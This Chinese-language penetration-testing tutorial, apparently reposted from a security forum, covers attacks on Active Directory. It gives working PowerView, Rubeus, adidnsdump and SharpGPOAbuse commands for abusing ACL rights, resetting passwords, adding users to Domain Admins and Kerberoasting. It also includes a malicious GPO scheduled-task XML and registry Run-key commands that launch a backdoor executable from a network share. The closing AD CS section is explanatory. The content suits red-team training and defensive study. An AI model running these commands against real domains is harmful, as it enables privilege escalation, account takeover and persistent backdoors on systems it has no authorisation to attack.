内网渗透-活动目录利用方法

2024-08-30 18:37:02 浏览数 (2)

原文首发在:奇安信攻防社区

https://forum.butian.net/share/3681‍‍

内网活动目录利用方法

滥用活动目录ACLsACEs权限

https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/acl-persistence-abuse

https://www.cnblogs.com/nice0e3/p/15879624.html

DACL和ACE是与访问控制相关的概念,常用于操作系统和网络环境中。以下是对它们的详细解释:

  1. DACL(Discretionary Access Control List):DACL是一种访问控制列表,用于确定谁可以访问特定对象(如文件、文件夹、注册表项等)。DACL是以访问控制条目(ACE)的形式组成的列表。
  2. ACE(Access Control Entry):ACE是DACL中的基本单元,用于授予或拒绝对对象的访问权限。每个ACE定义了一个安全主体(如用户、组、计算机等)以及该安全主体所具有的权限。

在DACL中,每个ACE包含以下信息:

  • 安全主体(SID):标识被授权或被拒绝访问权限的用户、组或计算机的唯一标识符。
  • 访问权限:表示特定操作或权限(如读取、写入、执行等)。
  • 访问掩码:指定了实际授予或拒绝的权限。
  • 辅助访问掩码:在某些情况下,用于指定其他条件或限制。

当访问对象时,系统将根据DACL中的ACE进行验证。如果存在与用户身份匹配的ACE,并且该ACE授予了所请求的权限,访问将被允许。如果没有匹配的ACE,或者存在与用户身份匹配的ACE,但是该ACE拒绝了所请求的权限,访问将被拒绝。

域管理员的ACE如下

其中,我们关注的权限为如下几条

  • GenericAll - full rights to the object (add users to a group or reset user's password)
  • GenericWrite - update object's attributes (i.e logon script)
  • WriteOwner - change object owner to attacker controlled user take over the object
  • WriteDACL - modify object's ACEs and give attacker full control right over the object
  • AllExtendedRights - ability to add user to a group or reset password
  • ForceChangePassword - ability to change user's password
  • Self (Self-Membership) - ability to add yourself to a group
  • GenericAll - 对对象拥有完全权限(例如添加用户到组或重置用户密码) 。
  • GenericWrite - 更新对象的属性(例如登录脚本) 。
  • WriteOwner - 修改对象的所有者为攻击者控制的用户,接管该对象 。
  • WriteDACL - 修改对象的ACEs,并授予攻击者对该对象的全部控制权限 。
  • AllExtendedRights - 能够添加用户到组或重置密码 。
  • ForceChangePassword - 能够更改用户的密码 。
  • Self(Self-Membership)- 能够将自己添加到组中。
  • Self-Membership - 这条权限指的是某个账户能够把自身添加到某个组的权限(需要在某个组的高级权限中添加ACE,也就是说针对的是组对象),也就是说,某个对象在某个组中是Self-Membership身份。
GenericAll
对用户账户的GenericAll权限

使用PowerView工具,查看用户的GenericAll权限。

powershell -exec bypass Import-Module .PowerView.ps1

//获取用户man1的AD对象的访问控制列表(ACL),筛选返回具有"GenericAll"权限的项

Get-ObjectAcl -SamAccountName man1 -ResolveGUIDs | ? {$_.ActiveDirectoryRights -eq "GenericAll"}

可以看到spotless用户拥有对delegate的GenericAll权限,那么在已获得spotless用户权限的情况下,我们可以接管delegate用户。

  1. **更改密码:**直接修改delegate用户的密码即可。

net user <username><password> /domain

  1. **Kerberoasting攻击:**给delegate用户设置SPN,然后通过spotless用户的TGT来请求所有服务的ST,获取到delegate用户的HASH加密的ST,进行破解。

# Set SPN

Set-DomainObject -Credential $creds -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"}

# Get Hash

.Rubeus.exe kerberoast /user:<username> /nowrap

# Clean SPN

Set-DomainObject -Credential $creds -Identity <username> -Clear serviceprincipalname -Verbose

https://github.com/ShutdownRepo/targetedKerberoast

python3 targetedKerberoast.py -domain.local -u <username> -p password -v

  1. **ASREProast攻击:**可以通过禁用预身份验证来使用户ASREPRoastable ,然后对其进行 ASREProast攻击。

Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}

对用户组的GenericAll权限

//获取到domain admins组的distinguishedName值

Get-NetGroup "domain admins"

//获取Domain Admins组的ACL

Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq " CN=Domain Admins,CN=Users,DC=vvvv1,DC=com"}

发现spotless用户拥有对Domain Admins组的GenericAll权限,可以进行攻击。

将自己(用户spotless)或其他用户添加到Domain Admin组中。

net group "domain admins" spotless /add /domain

也可以使用 Active Directory 或 PowerSploit 模块进行攻击。

# with active directory module

Add-ADGroupMember -Identity "domain admins" -Members spotless

# with Powersploit

Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"

对机器账户或服务账户的GenericAll权限
  1. 如果对机器账户或服务账户具有GenericAll权限或者GenericWrite权限,可以考虑使用基于资源的约束委派攻击,详情见《内网横向移动-基于资源的约束委派》;
  2. 对于服务账户也可以考虑上文中的对用户账户的攻击方法;
  3. 或者使用Shadow Credentials进行攻击;

影子凭证

https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/acl-persistence-abuse/shadow-credentials

https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab

http://www.hackdig.com/02/hack-599160.htm

https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html

WriteProperty
对用户组的WriteProperty权限

我们的受控用户对domain admins组有WriteProperty权限。

可以将该用户添加进入domain admins组来提升权限。

powershell -exec bypass Import-Module .PowerView.ps1 Add-NetGroupUser -UserName user -GroupName "domain admins" -Domain "vvvv1.com"

Self (Self-Membership)
对用户组的Self (Self-Membership)权限

我们的受控用户对domain admins组有Self (Self-Membership)的权限。

这个权限也是可以将用户添加进入组的权限,可以将该用户添加进入domain admins组来提升权限。

powershell -exec bypass Import-Module .PowerView.ps1 Add-NetGroupUser -UserName user -GroupName "domain admins" -Domain "vvvv1.com"

"WriteProperty (Self-Membership)" 和 "Self (Self-Membership)" 都是与自成员(Self-Membership)相关的属性,但它们在含义上有所不同。

  1. "WriteProperty (Self-Membership)": 这个属性表示对象能够写入(修改)自身的属性。通常情况下,对象只能修改其他对象的属性,而不能直接修改自己的属性。但当设置了"WriteProperty (Self-Membership)"属性时,对象就可以修改自己的属性。
  2. "Self (Self-Membership)": 这个属性表示对象本身是其所在组或集合的成员。它与"WriteProperty (Self-Membership)"属性不同。"Self (Self-Membership)"属性表明对象本身是自己所在组或集合的一个成员,而"WriteProperty (Self-Membership)"属性则表明对象拥有修改自身属性的权限。

总结:也就是说,如果对象类型不是ALL,而是Self-Membership,那么就代表,我们查询的这个用户对象是属于这个用户组的。 其中"WriteProperty (Self-Membership)"属性赋予对象修改自身属性的权限,也就可以将该对象加入组;而"Self (Self-Membership)"属性指示对象本身是其所在组或集合的成员,也可以将该对象加入组。

WriteProperty (Self-Membership)
对用户组的WriteProperty (Self-Membership)权限

我们的受控用户对domain admins组有WriteProperty (Self-Membership)的权限。

Get-ObjectAcl -ResolveGUIDs | ? {_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and

这个权限也是可以将用户添加进入组的权限,可以将该用户添加进入domain admins组来提升权限。

net group "domain admins" spotless /add /domain

"WriteProperty (Self-Membership)" 和 "Self (Self-Membership)" 都是与自成员(Self-Membership)相关的属性,但它们在含义上有所不同。

  1. "WriteProperty (Self-Membership)": 这个属性表示对象能够写入(修改)自身的属性。通常情况下,对象只能修改其他对象的属性,而不能直接修改自己的属性。但当设置了"WriteProperty (Self-Membership)"属性时,对象就可以修改自己的属性。
  2. "Self (Self-Membership)": 这个属性表示对象本身是其所在组或集合的成员。它与"WriteProperty (Self-Membership)"属性不同。"Self (Self-Membership)"属性表明对象本身是自己所在组或集合的一个成员,而"WriteProperty (Self-Membership)"属性则表明对象拥有修改自身属性的权限。

总结:也就是说,如果对象类型不是ALL,而是Self-Membership,那么就代表,我们查询的这个用户对象是属于这个用户组的。 其中"WriteProperty (Self-Membership)"属性赋予对象修改自身属性的权限,也就可以将该对象加入组;而"Self (Self-Membership)"属性指示对象本身是其所在组或集合的成员,也可以将该对象加入组。

ForceChangePassword
对用户账户的ForceChangePassword权限

如果我们的所控账户在目标账户的ACL中为"User-Force-Change-Password"对象类型,且具有"ExtendedRight"权限,那么我们可以在不知道用户当前密码的情况下重置用户的密码。

powershell -exec bypass Import-Module .PowerView.ps1 Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSEspotless"}

使用工具PowerView修改密码。

Set-DomainUserPassword -Identity delegate -Verbose

或者使用如下语句

$c = Get-Credential Set-DomainUserPassword -Identity delegate -AccountPassword $c.Password -Verbose

或者总结成单行语句

Set-DomainUserPassword -Identity delegate -AccountPassword (ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose

WriteOwner
对用户组的WriteOwner权限

在进行攻击之前,域管理员组Domain Admins的所有者是Domain Admins。

在对某个组的ACE进行枚举之后,如果我们发现一个受我们控制的用户spotless具有"WriteOwner"权限并且该权限适用于"ObjectType:All",那么就可以修改该组的所有者。

Get-ObjectAcl -ResolveGUIDs | ? {_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and

我们可以将"Domain Admins"对象的所有者更改为我们的用户,这在我们的情况下是"spotless"。需要注意的是,使用"-Identity"指定的SID是"Domain Admins"组的SID。

Set-DomainObjectOwner -Identity S-1-5-21-2552734371-813931464-1050690807-512 -OwnerIdentity "spotless" -Verbose

//You can also use the name instad of the SID (HTB: Reel)

Set-DomainObjectOwner -Identity "Domain Admins" -OwnerIdentity "spotless"

GenericWrite

GenericWrite也是在Access Mask中进行标识,此权限能够更新目标对象的属性值,可以使用PowerView中的Set-DomainObject方法设置目标属性的值。

对用户账户的GenericWrite权限

Get-ObjectAcl -ResolveGUIDs -SamAccountName delegate | ? {$_.IdentityReference -eq "OFFENSEspotless"}

所控用户spotless对另一个用户delegate拥有"WriteProperty"权限,且该权限适用于"Script-Path"对象类型。它允许攻击者覆盖delegate用户的登录脚本路径,这意味着下一次当delegate用户登录时,他们的系统将执行我们恶意的脚本。

Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\10.0.0.5totallyLegitScript.ps1"

可以看到delegate用户的登录脚本字段在AD中被更新。

对用户组的GenericWrite权限

允许您将新用户(例如您自己)添加为组的成员。与上文中《GenericAll-对用户组的GenericAll权限》操作类似。

https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/acl-persistence-abuse

# Create creds

pwd = ConvertTo-SecureString 'JustAWeirdPwd!' -AsPlainText -Force creds = New-Object System.Management.Automation.PSCredential('DOMAINusername', pwd) # Add user to group Add-DomainGroupMember -Credential $creds -Identity 'Group Name' -Members 'username' -Verbose # Check user was added Get-DomainGroupMember -Identity "Group Name" | Select MemberName # Remove group member Remove-DomainGroupMember -Credential $creds -Identity "Group Name" -Members 'username' -Verbose WriteDACL WriteOwner

如果有一个组为test,你是该组的所有者。

或者使用PowerShell。

([ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local").PSBase.get_ObjectSecurity().GetOwner([System.Security.Principal.NTAccount]).Value

您可以使用ADSI(Active Directory Service Interfaces)为自己赋予GenericAll权限。

$ADSI = [ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local" $IdentityReference = (New-Object System.Security.Principal.NTAccount("spotless")).Translate([System.Security.Principal.SecurityIdentifier]) ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule IdentityReference,"GenericAll","Allow" ADSI.psbase.ObjectSecurity.SetAccessRule(ACE) $ADSI.psbase.commitchanges()

这样意味着您现在完全控制该组。

这实际上意味着您现在可以将新用户添加到该组中。

但是,好像无法使用Active Directory模块和Set-Acl / Get-Acl cmdlets来赋予权限。

$path = "AD:CN=test,CN=Users,DC=offense,DC=local" acl = Get-Acl -Path path $ace = new-object System.DirectoryServices.ActiveDirectoryAccessRule (New-Object System.Security.Principal.NTAccount "spotless"),"GenericAll","Allow" acl.AddAccessRule(ace) Set-Acl -Path path -AclObject acl

组策略配置(GPO)

GPO是Group Policy Object(组策略对象)的缩写。它是Windows操作系统中的一种管理机制,用于集中管理和配置计算机和用户的操作系统设置。GPO允许系统管理员通过集中的策略定义和管理组织内计算机和用户的行为。

GPO主要用于:

  1. 配置操作系统设置:可以使用GPO来配置计算机和用户的各种操作系统设置,如安全设置、网络设置、注册表项、文件和文件夹权限等。
  2. 分发软件安装:可以使用GPO将软件应用程序自动安装在用户或计算机上,从而简化软件部署和更新过程。
  3. 实施安全策略:可以使用GPO来强制实施安全策略,例如密码策略、帐户锁定策略、防火墙设置等,以增强系统的安全性。
  4. 管理用户配置:可以使用GPO来管理用户配置,例如映射网络驱动器、配置桌面设置、限制软件使用等。

GPO是通过在Active Directory域环境中创建和链接到特定OU(组织单位)来实现的。管理员可以使用Group Policy Management Console(GPMC)工具来创建、编辑和管理GPO,并将其链接到特定的OU,以便将策略应用于特定的组织单位、用户组或计算机组。

有时候,特定的用户或组可能被授权管理组策略对象,就像"WP"用户一样。

也可以通过PowerView来进行查看。

powershell -exec bypass Import-Module .PowerView.ps1 Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "VVVV1WP"}

以下内容显示用户 "OFFENSEspotless" 具有 WriteProperty、WriteDacl、WriteOwner 等权限,这些权限可能被攻击者利用。

枚举域内所有的GPO。

powershell -exec bypass Import-Module .PowerView.ps1 Get-DomainGPO

如果我们想要专门搜索配置错误的 GPO,我们可以像下面这样串联多个来自 PowerSploit 的 cmdlet。

Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name _.Name} | ? {_.IdentityReference -eq "OFFENSEspotless"}

给定策略查询对应计算机

Get-NetOU -GUID "{C9F46A61-773B-41A7-8AB0-5C65866D13EC}" | % {Get-NetComputer -ADSpath $_}

给定计算机查询其策略

Get-DomainGPO -ComputerIdentity ws01 -Properties Name, DisplayName

给定策略查询对应的OU

Get-DomainOU -GPLink "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" -Properties DistinguishedName

利用GPO权限进行攻击
  1. 滥用这种错误配置并进行代码执行的一种方式是通过组策略创建即时计划任务

利用三好学生的PowerShell脚本New-GPOImmediateTask.ps1进行攻击

https://github.com/3gstudent/Homework-of-Powershell/tree/master

由于脚本需要使用到PowerShell中的GroupPolicy模块,因此需要在服务管理器中安装远程服务器管理工具(RSAT)。

New-GPOImmediateTask -TaskName evilTask -Command cmd -CommandArguments "/c net localgroup administrators man1 /add" -GPODisplayName "newGPO" -Verbose

上述操作将用户"spotless"添加到受损系统的本地管理员组。请注意,在执行代码之前,本地管理员组不包含用户"spotless"。

net localgroup administrators

如果我们观察Misconfigured Policy的GPO的计划任务,我们可以看到我们的恶意任务(evilTask)在那里。

以下是由New-GPOImmediateTask创建的XML文件,它代表了我们在GPO中的恶意计划任务。

代码语言:javascript复制
<?xml version="1.0" encoding="utf-8"?>
<ScheduledTasks clsid="{CC63F200-7309-4ba0-B154-A71CD118DBCC}">
  <ImmediateTaskV2 clsid="{9756B581-76EC-4169-9AFC-0CA8D43ADB5F}" name="evilTask" image="0" changed="2018-11-20 13:43:43" uid="{6cc57eac-b758-4c52-825d-e21480bbb47f}" userContext="0" removePolicy="0">
    <Properties action="C" name="evilTask" runAs="NT AUTHORITYSystem" logonType="S4U">
      <Task version="1.3">
        <RegistrationInfo>
          <Author>NT AUTHORITYSystem</Author>
          <Description></Description>
        </RegistrationInfo>
        <Principals>
          <Principal id="Author">
            <UserId>NT AUTHORITYSystem</UserId>
            <RunLevel>HighestAvailable</RunLevel>
            <LogonType>S4U</LogonType>
          </Principal>
        </Principals>
        <Settings>
          <IdleSettings>
            <Duration>PT10M</Duration>
            <WaitTimeout>PT1H</WaitTimeout>
            <StopOnIdleEnd>true</StopOnIdleEnd>
            <RestartOnIdle>false</RestartOnIdle>
          </IdleSettings>
          <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
          <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
          <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>
          <AllowHardTerminate>false</AllowHardTerminate>
          <StartWhenAvailable>true</StartWhenAvailable>
          <AllowStartOnDemand>false</AllowStartOnDemand>
          <Enabled>true</Enabled>
          <Hidden>true</Hidden>
          <ExecutionTimeLimit>PT0S</ExecutionTimeLimit>
          <Priority>7</Priority>
          <DeleteExpiredTaskAfter>PT0S</DeleteExpiredTaskAfter>
          <RestartOnFailure>
            <Interval>PT15M</Interval>
            <Count>3</Count>
          </RestartOnFailure>
        </Settings>
        <Actions Context="Author">
          <Exec>
            <Command>cmd</Command>
            <Arguments>/c net localgroup administrators spotless /add</Arguments>
          </Exec>
        </Actions>
        <Triggers>
          <TimeTrigger>
            <StartBoundary>%LocalTimeXmlEx%</StartBoundary>
            <EndBoundary>%LocalTimeXmlEx%</EndBoundary>
            <Enabled>true</Enabled>
          </TimeTrigger>
        </Triggers>
      </Task>
    </Properties>
  </ImmediateTaskV2>
</ScheduledTasks>

通过滥用GPO(组策略)的用户和组功能,可以实现相同的权限提升。

请注意,在下面的文件中,第6行将用户"spotless"添加到本地管理员组 - 我们可以将用户更改为其他用户,添加另一个用户,甚至将用户添加到另一个组/多个组,因为我们可以修改显示位置的策略配置文件,这是由于GPO委派分配给了我们的用户"spotless"。

代码语言:javascript复制
<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}">
    <Group clsid="{6D4A79E4-529C-4481-ABD0-F5BD7EA93BA7}" name="Administrators (built-in)" image="2" changed="2018-12-20 14:08:39" uid="{300BCC33-237E-4FBA-8E4D-D8C3BE2BB836}">
        <Properties action="U" newName="" description="" deleteAllUsers="0" deleteAllGroups="0" removeAccounts="0" groupSid="S-1-5-32-544" groupName="Administrators (built-in)">
            <Members>
                <Member name="spotless" action="ADD" sid="" />
            </Members>
        </Properties>
    </Group>
</Groups>

另外,我们还可以考虑利用登录/注销脚本、使用注册表进行自动运行、安装.msi文件、编辑服务以及类似的代码执行途径。

  1. GroupPolicy 模块

可以使用命令"Get-Module -List -Name GroupPolicy | select -expand ExportedCommands"来检查是否安装了GroupPolicy模块。如果需要,你可以使用命令"Install-WindowsFeature –Name GPMC"作为本地管理员安装它。

创建新的组策略对象(GPO)并将其与OU(组织单位)"Workstations"关联。

New-GPO -Name "Evil GPO" | New-GPLink -Target "OU=Workstations,DC=dev,DC=domain,DC=io"

让位于"Workstations" OU内的计算机创建一个新的注册表键,该键将执行一个后门程序。

在共享文件夹中搜索一个既可以写入又可以被所有受影响的计算机读取的位置。

Set-GPPrefRegistryValue -Name "Evil GPO" -Context Computer -Action Create -Key "HKLMSoftwareMicrosoftWindowsCurrentVersionRun" -ValueName "Updater" -Value "%COMSPEC% /b /c start /b /min \dc-2softwarepivot.exe" -Type ExpandString

  • -Name "Evil GPO": 指定了要操作的组策略对象的名称为"Evil GPO"。
  • -Context Computer: 指定了操作的上下文为计算机级别的首选项。
  • -Action Create: 指定了创建注册表值。
  • -Key "HKLMSoftwareMicrosoftWindowsCurrentVersionRun": 指定了注册表键的路径为"HKLMSoftwareMicrosoftWindowsCurrentVersionRun",即在计算机启动时执行的自动运行程序列表。
  • -ValueName "Updater": 指定了注册表值的名称为"Updater",这将是用于后门执行的程序的标识。
  • -Value "%COMSPEC% /b /c start /b /min \dc-2softwarepivot.exe": 指定了注册表值的数据,即要执行的后门程序的命令行。
  • -Type ExpandString: 指定了注册表值的类型为ExpandString,以便正确解释并扩展其中的环境变量。
  1. SharpGPOAbuse

https://github.com/FSecureLABS/SharpGPOAbuse

使用工具SharpGPOAbuse进行攻击。但是该工具无法创建GPO,因此我们仍然必须使用RSAT创建GPO或修改我们已经具有写访问权限的GPO。

SharpGPOAbuse.exe --AddComputerTask --TaskName "Install Updates" --Author NT AUTHORITYSYSTEM --Command "cmd.exe" --Arguments "/c \dc-2softwarepivot.exe" --GPOName "PowerShell Logging"

强制策略更新

之前的恶意GPO更新大约每90分钟重新加载一次。如果您可以访问计算机,您可以使用命令来强制刷新GPO。

gpupdate /force

End

For GPO attacks,I think it have some ways to delve deeper. These are several articles that can be used for learning.

  • https://xz.aliyun.com/t/7289#toc-0
  • https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces
  • https://wald0.com/?p=112
  • https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryrights?view=netframework-4.7.2
  • https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/
  • https://adsecurity.org/?p=3658
  • https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryaccessrule.-ctor?view=netframework-4.7.2#System_DirectoryServices_ActiveDirectoryAccessRule__ctor_System_Security_Principal_IdentityReference_System_DirectoryServices_ActiveDirectoryRights_System_Security_AccessControl_AccessControlType_
AD DNS Records

默认情况下,Active Directory中的任何用户都可以枚举域或林DNS区域中的所有DNS记录,类似于区域传输(用户可以在AD环境中列出DNS区域的子对象)。

https://dirkjanm.io/getting-in-the-zone-dumping-active-directory-dns-with-adidnsdump/

使用工具adidnsdump可以枚举和导出区域中的所有 DNS 记录,以用于内部网络的侦察目的。

git clone https://github.com/dirkjanm/adidnsdump cd adidnsdump pip install. adidnsdump -u domain_name\username ldap://10.10.10.10 -r cat records.csv

在LDAP中查询DNS记录最直接的方式是执行选择所有类别为dnsNode的对象的查询,这些对象代表DNS区域中的条目。但是,当我使用过滤器**(objectClass=dnsNode)**进行查询时,返回的结果非常有限,即使我手动浏览到DNS区域时可以看到更多的记录。

如上图所示,对于几个对象,objectClass是不可见的。这是因为计算机DNS记录的默认权限(我认为其他不通过AD DNS GUI创建的记录也是如此)不允许所有用户查看内容。由于IP地址实际上是作为此对象的属性存储的,因此无法查看这些记录的IP地址。

但是,就像任何用户默认情况下都可以创建新的DNS记录一样,默认情况下任何用户也可以列出DNS区域的子对象。因此,我们知道记录存在,只是无法使用LDAP进行查询。

一旦我们通过LDAP枚举确定记录存在,我们可以直接使用DNS进行查询(因为执行常规的DNS查询不需要特权)。通过这种方式,我们可以解析区域中的所有记录。

使用adidnsdump可以列举DNS区域中的所有记录。

要开始操作,请先使用--print-zones选项显示当前所在域中的区域。这将显示存在哪些区域。并非所有的区域都是有趣的,例如正向、缓存和存根区域并不包含该域的所有记录。如果找到了这些区域,最好查询它们实际所属的域。下面的输出显示我的测试域只有默认的区域。

adidnsdump -u VVVV1\man1 ldap://10.10.10.10 --print-zones

如果我们在工具中指定区域(或者对于默认区域将其留空),我们将获得所有记录的列表。可以列出但无法读取的记录(称为“隐藏”记录)将显示为问号,因为目前不知道存在哪种类型的记录以及它指向何处。所有记录都保存在名为records.csv的文件中。

要解析未知记录,请指定-r标志,这将为所有未知记录执行A查询(如果您在IPv6网络中,可以在代码中轻松更改为AAAA)。现在许多以前为空的节点突然有了记录。

如果您没有直接连接,而是通过代理进行工作,您可以通过socks代理将工具代理,并使用**--dns-tcp**标志通过TCP执行DNS查询。

adidnsdump -u VVVV1\man1 ldap://10.10.10.10 --dns-tcp

AD Certificates

https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf

https://zhuanlan.zhihu.com/p/402961562

https://blog.csdn.net/heisejiuhuche/article/details/129224570

https://cloud.tencent.com/developer/article/2013603

https://zhuanlan.zhihu.com/p/383587237

https://cloud.tencent.com/developer/article/1937718

https://www.cnblogs.com/mtgold/p/15665575.html

AD Certificates,指的是Active Directory 证书服务。首先我们要了解什么是 Active Directory 证书服务(Active Directory Certificate Service - 以下简称 AD CS)。证书服务,用官方的解释说,是微软的 PKI 系统的实现,早些时候,多用于 Active Directory 内智能卡(smart card)的登录鉴权。发展到现在,已经成为了 AD 环境中各个主体的另外一种鉴权方式(如 Windows Hello For Business)。

这里的证书,指的是 X.509 格式的电子文档,可以被用于加密,信息签名,以及鉴权。在域环境中,这张证书就是将一个主体与其 Public/Private 密钥对绑定。那么,域控就可以使用这个主体的密钥,来决定是否给这个主体分发 TGT。

证书相较于现有的 AD 权限维持或者提权的方式,如增加管理员用户,修改用户密码,黄金、白银票据等,有更加隐秘,更加持久的优势。更加隐秘是因为证书利用相对于其他敏感操作,相对难以被探测和发现(不触及 LSASS 等);更加持久是因为证书的默认过期时间是 5 年,而且不会随着主体密码的改变而失效。

证书的组成部分

  • 主题(Subject)- 证书的所有者。
  • 公钥(Public Key)- 将主题与单独存储的私钥关联起来。
  • NotBefore 和 NotAfter 日期 - 定义证书的有效期限。
  • 序列号(Serial Number)- 由证书颁发机构(CA)分配的证书标识符。
  • 颁发者(Issuer)- 标识谁颁发了证书(通常是一个CA)。
  • SubjectAlternativeName - 定义主题可能使用的一个或多个替代名称。
  • 基本约束(Basic Constraints)- 识别证书是CA还是终端实体,并在使用证书时是否存在任何限制。
  • 扩展密钥用途(EKUs)- 对象标识符(OIDs),用于描述证书的使用方式。也称为 Microsoft 术语中的 Enhanced Key Usage。常见的 EKU OIDs 包括:
  • 代码签名(OID 1.3.6.1.5.5.7.3.3)- 证书用于对可执行代码进行签名。
  • 加密文件系统(OID 1.3.6.1.4.1.311.10.3.4)- 证书用于加密文件系统。
  • 安全电子邮件(1.3.6.1.5.5.7.3.4)- 证书用于加密电子邮件。
  • 客户端身份验证(OID 1.3.6.1.5.5.7.3.2)- 证书用于对另一个服务器进行身份验证(例如,对 Active Directory 进行身份验证)。
  • 智能卡登录(OID 1.3.6.1.4.1.311.20.2.2)- 证书用于智能卡身份验证。
  • 服务器身份验证(OID 1.3.6.1.5.5.7.3.1)- 证书用于识别服务器(例如,HTTPS 证书)。
  • 签名算法(Signature Algorithm)- 指定用于签署证书的算法。
  • 签名(Signature)- 使用颁发者(例如CA)的私钥对证书体进行签名。

ADCS概念

  • PKI (Public Key Infrastructure) - PKI 是一整套证书签发、管理的系统。主要包括 CA(Certificate Authority),RA(Registration Authority),Certificate Store,and Certificate database
  • Certificate Store - Windows 本地证书存储,请求到的证书将存储在 Certificate Store 中
  • AD CS(Active Directory Certificate Service)- 微软为 AD 环境打造的 PKI 系统,来管理域内的证书签发和鉴权
  • CA(Certificate Authority)- 签发证书的服务
  • Enterprise CA - 与域集成的 CA 系统(通常会被配置在域中单独的服务器上),包含证书签发、证书模板等服务
  • CSR(Certificate Signing Request)- 向 CA 系统发送的证书签发的请求
  • EKU(Extended/Enhanced Key Usage)- Object Identifiers(OIDs),规定了签发证书的用途(是用来加密文件,或者主体鉴权等)
  • SAN(Subject Alternative Name)- 可以为一张证书绑定多个身份信息;比如 HTTPS 证书中就可以绑定多个域名,而不需要为每个域名都单独申请一张证书
  • UPN(User Principal Name)- 域中的证书是与 UPN 绑定的(这张证书是张三的,用于张三同学的鉴权),同时鉴权的主体也是是通过 UPN 来确定的;如果黑客控制了 SAN,在特定情况下,也就能 impersonate 任意用户
  • Principal - 域中的主体,可以是用户,也可以是服务
  • Certificate Template - 证书模板;Enterprise CA 签发的证书都是根据模板来生成;模板包含这张证书的元信息,如签发规则,谁有权限使用这个模板,证书的有效期,证书主体是谁,证书主体如何定义等等;Enterprise CA 会根据这些元信息来决定是否可以签发证书,以及签发什么样的证书

**主题备用名称(Subject Alternative Names,SAN)**是一种X.509v3扩展。它允许将附加身份与证书绑定。例如,如果一个Web服务器托管多个域的内容,每个适用的域都可以包含在SAN中,这样Web服务器只需要一个HTTPS证书。 默认情况下,在基于证书的身份验证期间,AD根据SAN中指定的UPN将证书映射到用户帐户。如果攻击者可以在请求启用客户端身份验证的证书时指定任意的SAN,并且CA使用攻击者提供的SAN创建和签署证书,那么攻击者可以成为域中的任何用户。

AD CS(Active Directory Certificate Services)在CN=Public Key Services,CN=Services,CN=Configuration,DC=<domain>,DC=<com>容器下定义了AD域信任的CA证书,其目的有四个不同的位置:

  1. Certification Authorities容器定义受信任的根CA证书。这些CA位于PKI树层次结构的顶部,并且是AD CS环境中信任的基础。每个CA都表示为容器内的AD对象,其中objectClass设置为certificationAuthority,cACertificate属性包含CA证书的字节。Windows将这些CA证书传播到每台Windows计算机上的可信根证书颁发机构存储区。为了让AD将证书视为受信任的,证书的信任链必须最终以此容器中定义的一个根CA结束。
  2. 注册服务容器为每个企业CA(即在启用了Enterprise CA角色的AD CS中创建的CA)定义了一个AD对象,具有以下属性:
  • 一个pKIEnrollmentService对象类属性
  • 包含CA证书字节的cACertificate属性
  • dNSHostName属性设置CA的DNS主机名
  • certificateTemplates字段定义了启用的证书模板。证书模板是CA在创建证书时使用的设置的“蓝图”,包括EKUs、注册权限、证书过期、签发要求和密码设置等。稍后我们将详细讨论证书模板。

在AD环境中,客户端与企业CA进行交互,根据证书模板中定义的设置请求证书。企业CA证书被传播到每台Windows计算机上的Intermediate Certification Authorities证书存储区。

  1. NTAuthCertificates AD对象定义了启用对AD的身份验证的CA证书。该对象的objectClass为certificationAuthority,对象的cACertificate属性定义了一组受信任的CA证书。加入AD域的Windows计算机将这些CA传播到每台计算机上的Intermediate Certification Authorities证书存储区。只有由NTAuthCertificates对象定义的一个CA签署了进行身份验证的客户端证书,客户端应用程序才能使用证书进行对AD的身份验证。
  2. AIA(Authority Information Access)容器包含中间和交叉CA的AD对象。中间CA是PKI树层次结构中根CA的“子级”,因此该容器存在以帮助验证证书链。与Certification Authorities容器类似,每个CA都表示为AIA容器中的AD对象,其中objectClass属性设置为certificationAuthority,cACertificate属性包含CA证书的字节。这些CA被传播到每台Windows计算机上的Intermediate Certification Authorities证书存储区。

客户端证书请求流程

  1. 这是从AD CS获取证书的过程。在较高级别上,在注册期间,客户端首先根据注册服务容器中的对象找到一个企业CA。
  2. 然后,客户端生成一个公私钥对,并将公钥与证书签名请求(CSR)消息一起放置,其中还包括证书的主题和证书模板名称等其他详细信息。
  3. 然后,客户端使用其私钥对CSR进行签名,并将CSR发送到企业CA服务器。 CA服务器检查客户端是否可以请求证书。如果可以,它将通过查找CSR中指定的证书模板AD对象来确定是否发放证书。 CA将检查证书模板AD对象的权限,以判断验证帐户是否可以获取证书。
